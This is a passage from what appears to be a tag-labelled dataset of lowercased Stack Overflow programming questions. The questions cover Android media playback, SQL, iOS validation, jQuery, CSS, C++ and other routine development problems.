onstarttrackingtouch(seekbar seekbar) {     }      @override     public void onstoptrackingtouch(seekbar seekbar) {         player.mediaplayer.seekto(progress);     } } </code></pre>   }    2.player.java &lt;-- here is mediaplayer.setlooping(true)   <pre><code>public class player implements onbufferingupdatelistener  oncompletionlistener      mediaplayer.onpreparedlistener  surfaceholder.callback {  private int videowidth; private int videoheight;  public mediaplayer mediaplayer;  private surfaceholder surfaceholder; private seekbar skbprogress;  private timer mtimer = new timer();  public player(surfaceview surfaceview  seekbar skbprogress) {     this.skbprogress = skbprogress;      surfaceholder = surfaceview.getholder();     surfaceholder.addcallback(this);     surfaceholder.settype(surfaceholder.surface_type_push_buffers);      mtimer.schedule(mtimertask  0  1000); }  timertask mtimertask = new timertask() {     @override     public void run() {         if (mediaplayer == null)             return;         if (mediaplayer.isplaying() &amp;&amp; skbprogress.ispressed() == false) {             handleprogress.sendemptymessage(0);         }     } };  handler handleprogress = new handler() {     public void handlemessage(message msg) {         int position = mediaplayer.getcurrentposition();         int duration = mediaplayer.getduration();          if (duration &gt; 0) {             long pos = skbprogress.getmax() * position / duration;             skbprogress.setprogress((int) pos);         }     }; };  public void play() {     mediaplayer.start(); }  public void playurl(string videourl) {     try {         mediaplayer.reset();         mediaplayer.setdatasource(videourl);                     mediaplayer.setlooping(true);         mediaplayer.prepare();     } catch (illegalargumentexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (illegalstateexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     } }  public void pause() {     mediaplayer.pause(); }  public void stop() {     if (mediaplayer != null) {         mediaplayer.stop();         mediaplayer.release();         mediaplayer = null;     } }  @override public void surfacechanged(surfaceholder arg0  int arg1  int arg2  int arg3) {     log.e( mediaplayer    surface changed ); }  @override public void surfacecreated(surfaceholder arg0) {     try {         mediaplayer = new mediaplayer();         mediaplayer.setdisplay(surfaceholder);         mediaplayer.setaudiostreamtype(audiomanager.stream_music);         mediaplayer.setonbufferingupdatelistener(this);         mediaplayer.setonpreparedlistener(this);     } catch (exception e) {         log.e( mediaplayer    error   e);     }     log.e( mediaplayer    surface created ); }  @override public void surfacedestroyed(surfaceholder arg0) {     log.e( mediaplayer    surface destroyed ); }  @override public void onprepared(mediaplayer arg0) {     videowidth = mediaplayer.getvideowidth();     videoheight = mediaplayer.getvideoheight();     if (videoheight != 0 &amp;&amp; videowidth != 0) {         arg0.start();     }     log.e( mediaplayer    onprepared ); }  @override public void oncompletion(mediaplayer arg0) {     // todo auto-generated method stub }  @override public void onbufferingupdate(mediaplayer arg0  int bufferingprogress) {     skbprogress.setsecondaryprogress(bufferingprogress);     int currentprogress = skbprogress.getmax()             * mediaplayer.getcurrentposition() / mediaplayer.getduration();     log.e(currentprogress +  % play   bufferingprogress +  % buffer ); } </code></pre>   },android
windows 8 or windows 8 pro  i am planning to buy a new laptop which i will use for asp.net mvc4 projects.i will install microsoft visual studio 2012 and ms sql managemet studio. i will be working from home using remote desktop connection. can i do all this using windows 8 or should i buy windows 8 proffesional,asp.net
using where if criteria meet else using another where  my example is here:   <pre><code>select t1.*         tc.country_name         ts.state_name         t1.address_type from mtpd2_virtuemart_order_userinfos t1      left join mtpd2_virtuemart_countries tc on tc.virtuemart_country_id = t1.virtuemart_country_id      left join mtpd2_virtuemart_states ts on ts.virtuemart_state_id = t1.virtuemart_state_id where t1.address_type = st  or t1.address_type =  bt        and t1.virtuemart_order_id /*selected_id_list*/ </code></pre>   the logic i m looking for is to use <code>(where t1.address_type= st )</code> if string inside the cell was  st  otherwise use <code>(where t1.address_type= bt )</code>    <img src= https://i.stack.imgur.com/hlmmu.jpg  alt= enter image description here >,sql
how to validate the email the form in mvvm  i need to check validation of username contact number and email id.and i am doing in mvvm.    for that     <strong>my model</strong> :-   <pre><code>class cf_page1model: nsobject {      var name:string!     var contactno:string!     var emailid:string!       init (dictionary :jsondictionary) {          guard             let name = dictionary[ name ] as  string              let contactno = dictionary[ contactno ] as  string              let emailid = dictionary[ emailid ] as  string                         else {                 return          }          self.name = name         self.contactno = contactno         self.emailid  = emailid      }   } </code></pre>   <strong>my datasourcemodel</strong> :-   <pre><code>class cf_page1datasourcemodel: nsobject {  var datalistarray:array&lt;cf_page1model&gt;  = []  init(array :array&lt;[string:any]&gt; ) {     super.init()     var newarray:array&lt;[string:any]&gt; = []     if array == nil{      }     else{         newarray = array!      }      var datalist:array&lt;cf_page1model&gt; = []     for dict in newarray{          let model = cf_page1model(dictionary: dict)          datalist.append(model!)     }     self.datalistarray = datalist } </code></pre>   }    <strong>my viewmodel</strong> :-   <pre><code>class cf_page1viewmodel: nsobject {       var datasourcemodel:cf_page1datasourcemodel     var emailid:bool      var phonenumber:bool       var nameofperson:bool        var name:string      var age:int      var contactno:string      var email:string      var gender:string         init(withdatasource  newdatasourcemodel:cf_page1datasourcemodel) {         datasourcemodel = newdatasourcemodel         print(datasourcemodel.datalistarray)     }       func isvalidemail(teststr:string)-&gt;bool{         print( validate emilid: \(teststr) )         let emailregex =  ^( :( :( :( : )*( :( :( :\\t| )*\\r\\n) ( :\\t| )+))+( : )*)|( : )+) ( :( :( :[-a-za-z0-9!#$%&amp;’*+/= ^_ {|}~]+( :\\.[-a-za-z0-9!#$%&amp;’*+/= ^_ {|}~]+)*)|( :\ ( :( :( :( : )*( :( :[!#-z^-~]|\\[|\\])|( :\\\\( :\\t|[ -~]))))+( : )*)|( : )+)\ ))( :@)( :( :( :[a-za-z0-9]( :[-a-za-z0-9]{0 61}[a-za-z0-9]) )( :\\.[a-za-z0-9]( :[-a-za-z0-9]{0 61}[a-za-z0-9]) )*)|( :\\[( :( :( :( :( :[0-9]|( :[1-9][0-9])|( :1[0-9][0-9])|( :2[0-4][0-9])|( :25[0-5]))\\.){3}( :[0-9]|( :[1-9][0-9])|( :1[0-9][0-9])|( :2[0-4][0-9])|( :25[0-5]))))|( :( :( : )*[!-z^-~])*( : )*)|( :[vv][0-9a-fa-f]+\\.[-a-za-z0-9._~!$&amp; ()*+ ;=:]+))\\])))( :( :( :( : )*( :( :( :\\t| )*\\r\\n) ( :\\t| )+))+( : )*)|( : )+) $          let emailtest = nspredicate(format: self matches %@   emailregex)         let result = emailtest.evaluate(with: teststr)         print(result)         emailid = result         return emailtest.evaluate(with: teststr)      }           func validate(value: string){          let phone_regex =   [235689][0-9]{6}([0-9]{3})           let phonetest = nspredicate(format:  self matches %@   phone_regex)         let result1 =  phonetest.evaluate(with: value)         print(result1)         // phonetest = result         phonenumber = result1        }      func isvalidinput(input:string)  {         let regex =  \\a\\w{7 18}\\z          let test = nspredicate(format: self matches %@   regex)         let username = test.evaluate(with: input)         print(username)         nameofperson = username         print(nameofperson)       }    } </code></pre>   <strong>and viewcontroller</strong> :-    in that submit button:-   <pre><code> @ibaction func forward(_ sender: anyobject) {            self.page1viewmodel.name = nametext.text         self.page1viewmodel.contactno = contactnotext.text         self.page1viewmodel.email = emailidtext.text          self.page1viewmodel.isvalidinput(input: self.page1viewmodel.name!)         self.page1viewmodel.validate(value: self.page1viewmodel.contactno!)         self.page1viewmodel.isvalidemail(teststr: self.page1viewmodel.email!)          page1viewmodel.loadfromwebservicedata()     } </code></pre>   in viewcontroller     <strong>button action</strong> :-   <pre><code> @ibaction func forward(_ sender: anyobject) {            self.page1viewmodel.name = nametext.text         self.page1viewmodel.contactno = contactnotext.text         self.page1viewmodel.email = emailidtext.text          self.page1viewmodel.isvalidinput(input: self.page1viewmodel.name!)         self.page1viewmodel.validate(value: self.page1viewmodel.contactno!)         self.page1viewmodel.isvalidemail(teststr: self.page1viewmodel.email!)          page1viewmodel.loadfromwebservicedata()     } </code></pre>   here name contactno emailid are textfield and i have used post method .but at submit button i need to validate the nametext contactnotext and emailidtext .how to do in mvvm.and what changes need to do in model.,ios
mpmovieplayer not playing on iphone 4 or ios 4.0  i am having trouble with mpmovieplayer not showing video just audio. it doesn t work on ios 4.0.    can anyone help please    <pre><code>mpmovieplayercontroller *movieplayer;         nsbundle *bundle = [nsbundle mainbundle];         nsstring *moviepath = [bundle pathforresource:@ video  oftype:@ mp4 ];          movieplayer = [ [ mpmovieplayercontroller alloc ]                        initwithcontenturl: [ nsurl fileurlwithpath: moviepath ] ];                   [movieplayer setfullscreen:yes];         [movieplayer play]; </code></pre>   i am also getting the following message in the console  addrunningclient starting device on non-zero client count,iphone
get all elements nested in ul tag  i have html code structure:   <pre><code>&lt;ul id= main &gt;  &lt;li&gt;        &lt;a href= # &gt;&lt;/a&gt;     &lt;ul&gt;       &lt;li&gt;&lt;a href= # &gt;&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;   &lt;li&gt; &lt;/ul&gt; </code></pre>   want to select all elements inside ul id= main .     tried to use:   <pre><code>var el = document.getelementbyid( main ).getelementsbytagname( * );   for (var i=0; i&lt;el.length; i++) {     alert(el[i].tagname); } </code></pre>   but only get li and a tags. ul tags are missing. any ideas,javascript
newly added row does not display in an asp.net repeater  i am using the code highlighted below: i have to refresh the browser window to see the newly added row to a table shown in a repeater on the web page. is there anyway i can just auto refresh the repeater control to see the newly added row. the updtemode attribute on the asp:updatepanel is set conditional. on the contrary  when i delete a row from the repeater  i can immediately see the updated repeater without have to refresh the browser. why can t i see the updated repeater when i add a row  thanks for the help!   <pre><code> if (!ispostback)                 {                     class object1 = getobject();                     list&lt;t&gt; lst = object1.getlist();                                repeater.datasource = lst;                     repeater.databind();                                  } </code></pre>,asp.net
making a string array show each value followed by an integer array and its values: java  i would like to know how to print out a string which is  hello index:   and then on each line print out a value in array2 starting with a value of 1  and then adding 5 onto each index as it goes up by 1...if anyone could help  it would be appreciated. i m a beginner in java  but i know the basics up to arrays. i learned objects and using objects before i did arrays. my question is how can i get the values from each array to print out. and how would i set up my println to print those values. thank you so much!   <pre><code>public class tuna { private string[] array1; private int[] array2;  public tuna(string[] array1  int[] array2){ this.array1 = array1; this.array2 = array2; } int i  k; public string[] getarray1(){     return array1; } public int[] getarray2(){     return array2; } }   public static void main(string[] args) {     string[] array1 = new string[10];     int[] array2 = new int[10];     array2[0] = 1;     tuna me = new tuna(array1  array2);       for(int i = 0; i &lt; array1.length; i++){         array1[i] =  hello index:  ;     }      for(int x = 1; x&lt;array2.length - 1; x++){                     change(array2);         array2[x] = array2[x-1];          if(array2[x+1] &gt; array2.length)             array2[x+1] = array2[x];      }              me.getarray1();             me.getarray2(); </code></pre>      system.out.println();..........,java
web page source seems to link to a different css stylesheet  i ve uploaded all my html pages  css and supporting files to bluehost.  everything works locally - i know this is no guarantee it will work once it gets on the server.  the css file (which is in the same directory as index.html) successfully uploads to the server (i ve checked to make sure it s the same) but  when i visit the page on the web it displays incorrectly.  i  view page source  and then click on the link to the .css near the top of the page.  when it displays it shows what appears to be the old .css.  there is no other .css file in the public_html folder.  the web page links to this .css   <pre><code>/*     tswnavbar.css   1.2.1     please use the navigation menu wizard at      to generate your own customized menu buttons. */  #tswcssbuttons {     width: 140px ;     text-align: center ;     line-height: 30px; } #tswcssbuttons ul {     margin: 0 ;     padding: 0 ; list-style: none ; } #tswcssbuttons li {     margin: 0 ;     padding: 0 ;     display: block ;     list-style: none ; font-family: arial  helvetica  sans-serif ; } #tswcssbuttons li a {     color: #000000 ;     background-color: #667669 ;     border: 1px outset #000000 ;     text-decoration: none ;     display: block ; } #tswcssbuttons li a:hover {     color: #ffffff ;     background-color: #000000 ; } </code></pre>   however both my local copy and the uploaded copy have this additional code at the bottom but it s not showing up in the linked copy.     <pre><code>#social-media {      float: right ;  } #social-media ul li {      display: inline ;  } #social-media ul {      padding-top: 10px ;  } </code></pre>   the formatting in the file is as it appears here.  any help would be appreciated.  thanks.,css
wkwebview not loading content from iframe on a webpage  i have a wkwebview where a user goes through several pages to reach a page which contains a video from lesson.ly.    the problem is that the video will not show up at all within the webview  there is just a blank gap in the page where the video would be. however  if i open chrome on ios  it loads just fine.    i ve pinpointed the issue by debugging the html code. here is a screen shot of the html on the webview: <a href= https://i.stack.imgur.com/bolsb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bolsb.png  alt= enter image description here ></a>    and here s a picture of the html on chrome for mac: <a href= https://i.stack.imgur.com/aatgk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/aatgk.png  alt= enter image description here ></a>    if you noticed  there is nothing within the iframe for the webview. i have no idea why it s not loading the data. i have enabled  allows arbitrary loads  for app transport security to no avail.    any help appreciated  thanks.,ios
can `from_unixtime` slow this query down   i have been tasked to optimize the following query.    <pre><code>select c.account_key  c.cohort  date(concat(year(from_unixtime(min(f.processdate_est_key)))   -    month(from_unixtime(min(f.processdate_est_key)))   -1 )) as  customer_conversion_month from bidw_stage.cohort c left join bidw.fact f on c.account_key = f.account_key and f.usage_dollars != 0 and 12 * (year(from_unixtime(f.processdate_est_key)) - year(c.cohort)) +   (month(from_unixtime(f.processdate_est_key)) - month(c.cohort)) &gt;= 2 group by c.account_key  c.cohort; </code></pre>   it took 30 seconds to complete last january. it now takes almost 3 minutes. the fact table contains about 30 million records  the cohort table about 20k. fact table attribute   account_key  is indexed but it is not on the  cohort  table.     i didn t write this query and the original coder left no documentation as to the reason for this    <pre><code>12 * (year(from_unixtime(f.processdate_est_key)) - year(c.cohort)) +     (month(from_unixtime(f.processdate_est_key)) - month(c.cohort)) </code></pre>   could this be slowing the query down  how can this be optimized,mysql
c# webbrowser - manipulate forms  just wondering  if i load a site such as facebook into a webbrowser control how do i enter data into the form controls from wf/desktop app     do i have to use the dom,c#
fatal exception: asynctask #2 during incomming/outgoing call  scenario : application is in background. during incomming or outgoing call i show the alertview which have two buttons . .  show and cancel . when i click on the  show  button then this code work. but my application is crashing . can any one tell me the reason.   <pre><code>final class sendserverhit extends asynctask&lt; void void  void&gt;      {    @override   protected void onpostexecute(void result) {     // todo auto-generated method stub     toast.maketext(callhelper.this   status :  +status +   message :  +message+  applidation : +application+  data1 :  +data  toast.length_long).show();      super.onpostexecute(result);   }    @override   protected void doinbackground(void... params) {    // todo auto-generated method stub             try {     gettext();    } catch (unsupportedencodingexception e) {     // todo auto-generated catch block     e.printstacktrace();    }    return null;   }      } </code></pre>   here is my gettext code   <pre><code>public  void  gettext()  throws  unsupportedencodingexception     {            // create data variable for sent values to server             string data = urlencoder.encode( client_phone    utf-8 )                         +  =  + urlencoder.encode(numberin   utf-8 );            data +=  &amp;  + urlencoder.encode( user_phone    utf-8 )                    +  =  + urlencoder.encode( 1001    utf-8 );           data +=  &amp;  + urlencoder.encode( call_type    utf-8 )                    +  =  + urlencoder.encode( 2    utf-8 );           data +=  &amp;  + urlencoder.encode( identity    utf-8 )                        +  =  + urlencoder.encode( null    utf-8 );           data +=  &amp;  + urlencoder.encode( comments    utf-8 )                    +  =  + urlencoder.encode(     utf-8 );            string text =   ;           bufferedreader reader=null;             // send data          try         {                // defined url  where to send data             url url = new url( http://..iescrm/push_data  );           // send post data request            urlconnection conn = url.openconnection();            conn.setdooutput(true);            outputstreamwriter wr = new outputstreamwriter(conn.getoutputstream());            wr.write( data );            wr.flush();             // get the server response           reader = new bufferedreader(new inputstreamreader(conn.getinputstream()));         stringbuilder sb = new stringbuilder();         string line = null;          // read server response         while((line = reader.readline()) != null)             {                    // append server response in string                    sb.append(line +  \n );             }              text = sb.tostring();           }         catch(exception ex)         {              ex.printstacktrace();         }         finally         {             try             {                  reader.close();                 jsonobject jobject = new jsonobject(text);                   status = jobject.getstring( status );  //{ status :true  message : success   user_phone_number : 1001   identity :null}                 //  { application : skiescrm   status :false  message : invalid identity   data :  }   message = jobject.getstring( message );                    application = jobject.getstring( application );                   data1 = jobject.getstring( data );                }              catch(exception ex) { toast.maketext(ctx   status :    toast.length_long).show();}         }         // show response on activity      } </code></pre>   and here is my error log    <pre><code>03-03 12:37:00.999: e/androidruntime(21166): fatal exception: asynctask #2 03-03 12:37:00.999: e/androidruntime(21166): java.lang.runtimeexception: an error occured while executing doinbackground() 03-03 12:37:00.999: e/androidruntime(21166):    at android.os.asynctask$3.done(asynctask.java:299) 03-03 12:37:00.999: e/androidruntime(21166):    at java.util.concurrent.futuretask.finishcompletion(futuretask.java:352) 03-03 12:37:00.999: e/androidruntime(21166):    at java.util.concurrent.futuretask.setexception(futuretask.java:219) 03-03 12:37:00.999: e/androidruntime(21166):    at java.util.concurrent.futuretask.run(futuretask.java:239) 03-03 12:37:00.999: e/androidruntime(21166):    at android.os.asynctask$serialexecutor$1.run(asynctask.java:230) 03-03 12:37:00.999: e/androidruntime(21166):    at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1080) 03-03 12:37:00.999: e/androidruntime(21166):    at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:573) 03-03 12:37:00.999: e/androidruntime(21166):    at java.lang.thread.run(thread.java:838) 03-03 12:37:00.999: e/androidruntime(21166): caused by: java.lang.nullpointerexception 03-03 12:37:00.999: e/androidruntime(21166):    at libcore.net.uricodec.encode(uricodec.java:132) 03-03 12:37:00.999: e/androidruntime(21166):    at java.net.urlencoder.encode(urlencoder.java:57) 03-03 12:37:00.999: e/androidruntime(21166):    at com.bitgriff.androidcalls.callhelper.gettext(callhelper.java:153) 03-03 12:37:00.999: e/androidruntime(21166):    at com.bitgriff.androidcalls.callhelper$sendserverhit.doinbackground(callhelper.java:131) 03-03 12:37:00.999: e/androidruntime(21166):    at com.bitgriff.androidcalls.callhelper$sendserverhit.doinbackground(callhelper.java:1) </code></pre>,android
sending content as it s loads in .net  i m creating a simple ajax call to retrieve a list of user reviews. i want to have my aspx page output the content for each review item as it is processed. for example  lets say i had 100 reviews to show  how would i send the markup as it processes on the server end  in php i can do this with the flush() or ob_flush() function. what is the .net equilvalent,.net
pyspeedtest cannot find test server  i m trying to use pyspeedtest to get the upload/download speed of my connecting but i keep getting the following error which i couldn t resolve:   <pre><code>import pyspeedtest st = pyspeedtest.speedtest() st.download()  exception: cannot find a test server </code></pre>   any suggestions/insights would be welcome!,python
how to use ajax call completed (done) in this case  on load of a page   i am doing a ajax call as shown    <pre><code>&lt;script&gt; $(function() {      var ajaxquery = fecthdocumentdata(     );      ajaxquery.done(function() {      }); }); &lt;/script&gt;   function fecthdocumentdata(document_id  btnname) { $.ajax({         type:  get           url: url +  /oms/admin/document document_row=  + document_id +  &amp;btnname=  + btnname          jsonpcallback:  jsoncallback           datatype:  jsonp           jsonp: false          success: function(response) {          var res = response;      }          error: function(e) {}     });   } </code></pre>   my question is how can i know that the ajax call has been completed in this case       i tried to use    <pre><code>ajaxquery.done(function() {  alert( ajax call completed callback called  );  }); </code></pre>   but i am getting error as <strong>cannot read property of undefined at this line</strong>  <code>ajaxquery.done(function() {</code>,jquery
default checked checkboxes not submitted  i have some checkboxes on a web page  for example:   <pre><code>&lt;input type= checkbox &lt; php echo $checked;  &gt; name= stuff[]  value= first  /&gt; </code></pre>   where <code>$checked</code> is either an empty string or <code>checked= checked </code> depending on what had been submitted.    i submit the form and (assuming at least some checkboxes with the name <code>stuff[]</code> checked)  <code>_post[ stuff ]</code> in php is an array of the values for the checked boxes  such as <code>( first    third    fourth )</code>.  however  if the checkbox is pre-checked with <code>checked= checked </code>  the value of the box ( first  in the above example) is left out of the list of <code>stuff</code> values.  it is left out even if the user unchecks the box and then rechecks it.    i want the submitted value to include all checked items including the pre-checked (and not user-unchecked) ones.  how can i do this,html
rails apply if statement to loop  i have polls that can be published or unpublished. admin can see all  other only published ones.    i tried:   <pre><code>&lt;% if current_user.admin_role  %&gt;   &lt;% @polls.each do |poll| %&gt; &lt;% else %&gt;   &lt;% @published_polls.each do |poll| %&gt;   &lt;% end %&gt;   &lt;!-- content --&gt; &lt;% end %&gt; </code></pre>   but comes out a syntax error: <code>unexpected keyword_else</code>.    syntax looks good to me. what am i doing wrong,ruby-on-rails
what s wrong in instantiating objects in loops   i m getting this warning from pmd. it says that i should not instantiate objects in a loop. here is my code:   <pre><code>collection&lt;file&gt; files = new linkedlist&lt;&gt;(); for (string name : names) {   files.add(new file(name)); } </code></pre>   what s wrong about it,java
add appended data and remove selected data  fiddle - <a href= http://jsfiddle.net/y9k8p/1/  rel= nofollow noreferrer >http://jsfiddle.net/y9k8p/1/</a>    <img src= https://i.stack.imgur.com/h8bkj.png  alt= enter image description here >    i m working on a basic website designer for my tablet. it works by mirroring the html and css to a textarea for easy preview and saving.    to add an element all the user needs to do to is type it out in the textbox and if it has a class they can add that as well. which will append as either <code>&lt;header&gt;&lt;/header&gt;</code> without a class or <code>&lt;header class= head &gt;&lt;/header&gt;</code> with a class.    the body is not to be removed  but whatever else the user adds can. so if i click or touch the input with the value header and click remove. i don t want to remove all headers just the one that s appended first into the body as seen in the screenshot.    i m not sure how to go about this  hence why i m asking   how can this be accomplished  .    any help is greatly appreciated.     i m getting ready to head to work so won t be able to review this post until 5pm tonight. i made a simple fiddle that kind of shows what i m trying to do.    here s that code:   <pre><code>var counter = 2;  $( .add-html-class ).click(function () {     $( .html-elms ).append( &lt;input type= text  id= text  + counter +    value= &lt; + $( .html-elm ).val() +  class=  + $( .html-elm-class ).val() +  &gt;  disabled= true &gt; );     counter++; })  $( .del-html-class ).click(function () {     if (counter == 2) {         alert( no more textbox to remove );         return false;     }     counter--;      $( .html-elms #text  + counter).remove(); }); </code></pre>,jquery
how to apply changes in angularjs (ng-show)   i have form   <pre><code>&lt;form ng-controller= sessioncontroller  name= login_form &gt;   &lt;div class= hide  ng-show= invalid_credentials &gt;invalid email/pass&lt;/div&gt;   &lt;input type= submit  value= login  ng-click= login() &gt; &lt;/form&gt; </code></pre>   controller:   <pre><code>utapp.controller( sessioncontroller   ($scope  $cookiestore  clientservice) -&gt;   $scope.login = -&gt;     ...     if something       $scope.invalid_credentials = true       return </code></pre>   on some conditions <code>$scope.invalid_credentials</code> is getting set to true  but div with error message is not being shown. how to show it,angularjs
runtime error while using cystalreports engine  i have an application that creates a new class inherited form crystalreports.engine report class. everything work fine when i run my program in debug mode. but i get error and my program crashes when i run the program normally. i have traced the program and realized that when i instantiate that report class  my program crashes. but if i comment the code that instantiates the report class  the program does not crash.    i am really surprised for the fact that it works fine when i run the program in debug mode. can anyone suggest me what the problem is     i am using ms visual studio 2005 with crystal reports xi.    thanks.,.net
decrease tabbaritem title font size  i have created uitabbarcontroller application...    in that application  i was set an title and image at run time in the tabbar item.... some text should be larger compare to tabbar item...    can any one help me      how can i fix this      is it possible to done it any other way      thanks in advance........,iphone
move cursor up/down in uitextview  the only public api i found allowed me only to move the cursor right/left using selectedrange property. any workaround to perform that task up/down     thanks,iphone
right way to return new instances from subclass of c++ string  i want to extend the c++ string class  returning subclass references (instead of parent string reference)  but this code excerpt...   <pre><code>#include &lt;string&gt; using namespace std;  class mystring : public string { public:  mystring&amp;  left( int cnt )  {   return  (mystring&amp;)mystring( substr(0 cnt) );  } }; </code></pre>   produces this vs8 compiler error:   <blockquote>    error c2440:    :   cannot convert from    std::basic_string&lt;_elem _traits _ax>    to  mystring   </blockquote>   what s the right way to declare mystring::left() so the compiler will stop complaining  hopefully also eliminating the cast,c++
int64 time calculations in c++  i am working on timing related code in c++.   <pre><code>filetime fttime; getsystemtimeasfiletime(&amp;fttime);  struct datetime {     unsigned int dwlowdatetime;     unsigned int dwhighdatetime; };    datetime mytime; mytime.dwhighdatetime = (unsigned int)fttime.dwhighdatetime; mytime.dwlowdatetime  = (unsigned int)fttime.dwlowdatetime;  ussigned __int64 asuint64_t  unsigned __int64 myint64time = *(unsigned __int64*)&amp;mytime;  // i have getstring format from date time some thing like this below  format() {  systemtime  systemtime; filetimetosystemtime(&amp;filetime  &amp;systemtime);  const char*         formatstring =  %04d-%02d-%02d %02d:%02d:%02d.%03d ;  // i have few variable declartions to be used for snprintf which is not mentioned here.  apiresult = _snprintf_s(pbuffer  sizeofbuffer  count  formatstring  systemtime.wyear  systemtime.wmonth  systemtime.wday  systemtime.whour  systemtime.wminute                          systemtime.wsecond  systemtime.wmilliseconds);  }  datetime starttime = now(); // some how i am getting latest time here. sleep(5s); // sleeping for 5 seconds. datetime endtime = now(); // i.e.  after 5 seconds.  std::cout &lt;&lt;  \non start time:  &lt;&lt; starttime.format() &lt;&lt; std::endl; std::cout &lt;&lt;  on end tme:      &lt;&lt; endtime.format() &lt;&lt; std::endl;  std::cout &lt;&lt;  on start read   &lt;&lt; *(unsigned __int64*)&amp;starttime &lt;&lt; std::endl; std::cout &lt;&lt;  on end read   &lt;&lt; *(unsigned __int64*)&amp;endtime&lt;&lt; std::endl;  /////////////////// </code></pre>   for above output is coming as below.   <pre><code>on start time:2012-06-18 09:45:03.180 on end time  :2012-06-18 09:45:08.183  // int int64 i am getting as below  on start read : 129844863031802858 on end read   : 129844863081832935 </code></pre>   my question is i want to divide the bounds in to equal interval according to given interval for example each interval of 2 seconds. how do i go that     ceiling (range/interval) intervals.    for example start: 12:00:00:0000 and end is 12:01:52:00099. interval is 16 seconds  then we have 7 intervals.    <pre><code>unsigned __int64 interval =16; </code></pre>   if i use int above logic if i do <code>(*(unsigned __int64*)&amp;endtime - *(unsigned __int64*)&amp;starttime) / interval)</code>  i am not getting 7   how do i fix it,c++
thread access between appdomains  a thread created in a app domain can be moved to other appdomain. since each appdomain is isolated from each other     <ol> <li>how does once can access the thread created in app domain in the other appdomain </li> <li>any examples for this</li> <li>how does the clr keep track of this and handles the movement of threads </li> </ol>,.net
css vertically centering a fixed positioning div  i have the following html for a sort-of lightbox project.   <pre><code>&lt;div id= lightbox &gt;   &lt;img id= image  src=   /&gt; &lt;/div&gt; </code></pre>   that is using the following css:   <pre><code>#lightbox{ display:none; position:fixed; width:100%; text-align:center; z-index:600; cursor:pointer; left:0; top:100px; }  #image{ position:relative; height:600px; border:1px solid grey; } </code></pre>   to have the image always in the horizontal center  i am simply using text-align:center on the wrapper div  so i am 100% sure it will be correct.    i am facing problems with the vertical centering and i am using a workaround of simply setting the top value in the #lightbox properties.    as you can see the height of the image is known  so it is easily doable in jquery but i am looking for a pure css solution.    any ideas  thanks.,css
assign a unique color to a array number in java  hi guys im new to programming this is my code    <pre><code>for (int i = 0; i &lt; v; i++)         system.out.print(value[i] +   );     system.out.println(); </code></pre>   value of  i  are numbers   instead of printing value of  i  i want to print a unique color for each value for example if this is the value:  1 2 1 1 3  i want to print:  red blue red red green   how can i do this,java
can the same app be used for both iphone and ipod touch   can a single application be used in both iphone and ipod touch > or we have to build them seperately   are there ipod only applications,iphone
asp.net - implementing help window  i am working in asp.net web application. in my application   i have model dialogs opened. after opening model dialog   if i press f1 using keyboard   which should open <strong>.htm help</strong> files.    in windows application . i have help provider control. but i could not able to find anything here.    kindly help me in this.,asp.net
what happens when i give strftime invalid specifier   i tried to supply strftime the modifier %k which is not in the list  and it prints 11  what does strftime do  when i supply a modifier that is not in its list,c
jquery  $(this).next problem  trying to truncate some code here and running into a problem:   <pre><code>&lt;script type= text/javascript &gt;   $(function() {   $( #a1 ).click(function() {     $(this).next( #descopy ).appendto( #description );     $(this).next( #imgplace ).appendto( #imgbox );     return false;   }); }); &lt;/script&gt;      &lt;!--content--&gt;       &lt;div id= content  style= background:#000; width:989px; &gt;          &lt;div style= float:left; left:18px; margin:0; width:337px; position:relative; padding:15px 0 0 0; color:#fff; &gt;               &lt;div id= description &gt;              &lt;/div&gt;          &lt;/div&gt;          &lt;div id= imgbox  style= float:left; position:relative; display:block; background:#f00; width:652px; height:258px; background:#0ff; overflow:hidden; &gt;            &lt;/div&gt;          &lt;div style= float:right; background:#ccc; height:25px; width:652px; &gt;              &lt;ul&gt;                  &lt;li&gt;&lt;a id= a1  href= # &gt;slide 1&lt;/a&gt;                     &lt;ul style= display:none; &gt;                         &lt;li&gt;&lt;span id= descopy &gt;test description  test description&lt;/span&gt;&lt;/li&gt;                         &lt;li&gt;&lt;img src= images/test.jpg  id= imgplace &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;                  &lt;li&gt;&lt;a id= a1  href= # &gt;slide 2&lt;/a&gt;                     &lt;ul style= display:none; &gt;                         &lt;li&gt;&lt;span id= descopy &gt;2222  22222&lt;/span&gt;&lt;/li&gt;                         &lt;li&gt;&lt;img src= images/test2.jpg  id= imgplace &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;              &lt;/ul&gt;          &lt;/div&gt;       &lt;/div&gt; </code></pre>,jquery
<animated-vector> requires api level 21 (current min is 15)  it is mentioned [here][1] that the new support library now supports animated vectors  which was previously only supported in api 21+. i upgraded my support library to the latest version.     but android studio still gives me a warning: animated-vector requires api level 21 (current min is 15).    i did the followings:    i added the following codes to build.gradle:   <pre><code>defaultconfig {     generateddensities = []  } // this is handled for you by the 2.0+ gradle plugin aaptoptions {     additionalparameters  --no-version-vectors  } </code></pre>   so now my build.gradle file looks like this:   <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 23 buildtoolsversion  23.0.2   defaultconfig {     applicationid  com.example.mahdi.askhow      minsdkversion 15     targetsdkversion 23     versioncode 1     versionname  1.0      generateddensities = []  } // this is handled for you by the 2.0+ gradle plugin aaptoptions {     additionalparameters  --no-version-vectors  } buildtypes {     release {         minifyenabled false         proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro      } } }  repositories {     mavencentral()     maven { url  https://jitpack.io  } } dependencies {     compile filetree(dir:  libs   include: [ *.jar ])     testcompile  junit:junit:4.12      compile  com.android.support:appcompat-v7:23.2.0      compile  com.android.support:design:23.2.0      compile  com.mcxiaoke.volley:library:1.0.19      compile  com.wang.avi:library:1.0.2      compile  